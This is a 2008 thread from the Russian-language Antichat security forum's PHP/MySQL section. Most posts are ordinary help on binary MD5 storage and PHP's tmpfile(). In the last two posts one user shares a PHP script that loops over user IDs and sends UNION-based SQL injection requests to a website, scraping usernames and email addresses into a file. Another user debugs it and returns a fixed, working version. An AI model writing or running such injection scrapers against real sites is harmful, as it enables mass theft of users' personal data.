ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1651  
Старый 23.01.2008, 13:39
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию

Я имею ввиду функцию расшифровки. А зачем тебе такая бяка?
 

  #1652  
Старый 23.01.2008, 14:02
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

Цитата:
Сообщение от Macro  
Я имею ввиду функцию расшифровки. А зачем тебе такая бяка?
Я хочу хэши в таблице Мускула хранить в естественном виде (hex).
Т.е. например MD5(128bit) в символьном виде займёт 32 байта, а я хочу 16 байт.
MySQL(64bit) в символьном виде 16 байт, а я хочу 8 и т. д.

PS Тут ещё проблема с экранированием спецсимволов. При запросе автоматом экранируются спецсимволы в $code3 и $code4. А сами слэши в таблицу записываются?
PHP код:
$query "INSERT INTO ".$db_table." (`passwd`,`code3`,`code4`) VALUES (null,'".$code3."','".$code4."')";
$r=mysql_query($query); 
 

  #1653  
Старый 23.01.2008, 14:06
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

хм, а если в функции md5 второй параметр true поставить, то он и будет занимать 16 байт вроде, т.е.
md5('blabla',true)=Я^ў™$Уњ;иxW4с1iЖ
__________________
Карфаген должен быть разрушен...

Последний раз редактировалось Scipio; 23.01.2008 в 14:09..
 

  #1654  
Старый 23.01.2008, 14:12
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

Цитата:
Сообщение от Scipio  
хм, а если в функции md5 второй параметр true поставить, то он и будет занимать 16 байт вроде, т.е.
md5('blabla',true)=Я^ў™$Уњ;иxW4с1iЖ
Это в версии 5 PHP появилось, до этого не было...
 

  #1655  
Старый 23.01.2008, 14:16
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

угу в 5, я просто привык уже к 5, вот и не подумал
__________________
Карфаген должен быть разрушен...
 

  #1656  
Старый 23.01.2008, 14:31
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

Цитата:
Сообщение от Scipio  
угу в 5, я просто привык уже к 5, вот и не подумал
Цитата:
Замечание: Необязательный аргумент raw_output был добавлен в PHP 5.0.0 и по умолчанию равен FALSE
Я вообще не понимаю логики авторов php. Это должно быть сделано ещё в начальных версиях так и по умолчанию логично чтоб было сразу в бинарном виде. А уж если нада "читаемый" вид хэша получить, то доп. параметр - вот так было бы логичнее...
PS Я так понял исправляют косяки php ранние и чтоб совместимость сохранилась...
 

  #1657  
Старый 24.01.2008, 19:10
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
Провел на форуме:
1301036

Репутация: 1334
Отправить сообщение для cash$$$ с помощью ICQ
По умолчанию

Подскажите как узнать имя файла зная только его дескриптор? Например имя файла создаваемого функцией

tmpfile().
 

  #1658  
Старый 24.01.2008, 19:15
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

Цитата:
Сообщение от cash$$$  
Подскажите как узнать имя файла зная только его дескриптор? Например имя файла создаваемого функцией

tmpfile().
никак, эта функция создает безымянные файлы и работает чисто с дескриптором
__________________
Карфаген должен быть разрушен...
 

  #1659  
Старый 24.01.2008, 19:35
lexa
Участник форума
Регистрация: 14.01.2005
Сообщений: 169
Провел на форуме:
427901

Репутация: 23
Отправить сообщение для lexa с помощью ICQ
По умолчанию

ребят укажите на мою ошибку...
вот скрипт который
1) открывает файл emails.txt для дальнейшей записи туда *( fopen('emails.txt','a+'); )*
2) перебирает id как переменную $i *( id=$i/*'; )*
3) ищет в загруженной странице слово root@"localhost
*(preg_match_all('|root@"localhost([^"]*)"|is',$str,$out)*
и уже далее мыло которое идет следом за ним сохраняет в открытый emails.txt


Код:
<? 

$handler=fopen('emails.txt','a+');
  for($i=1;$i<30;$i++)
{ 
    $filename = 'http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),email)+from+users+WHERE+id=$i/*'; 
    echo $i.". "; 
    $str = file_get_contents($filename); 
    preg_match_all('|root@"localhost([^"]*)"|is',$str,$out); 
    if(empty($out[1][0])) echo " no mail"; 
    else{ 
      echo " get ".$out[1][0]; 
      fwrite($handler,$out[1][0]."\n"); 
    } 
    echo "\n"; 
  } 
  fclose($handler); 
?>


но есть проблема .... он выводит в браузере что не нашел мыла а emails.txt заполняет самим html кодом...

в чем проблема?
 

  #1660  
Старый 24.01.2008, 20:34
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию

может потому что перемменая $i находится между апостофами тоесть '$i' тада интерпретатор считает это не как перемменую а как знак доллора и букву i?

Зачем тебе preg_match_all? ты мыльники у юзеров смотриш так они ж не будут по 10 мыл писать у каждого юзера 1 мыло =)

думаю тебе этого вполне хватит

PHP код:
<? 

$handler
=fopen('emails.txt','a+');
  for(
$i=1;$i<30;$i++)

    
$filename "http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),email)+from+users+WHERE+id=$i/*"
    echo 
$i.". "
    
$str file_get_contents($filename); 
    if(
preg_match('|root@"localhost([^"]+)"|is',$str,$out) == 0) {echo " no mail";}
    else{ 
      echo 
" get ".$out['1']; 
      
$save $out['1']."\n";
      
fwrite($handler,$save); 
    } 
    echo 
"\n"
  } 
  
fclose($handler); 
?>

Последний раз редактировалось Doom123; 24.01.2008 в 21:01..
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ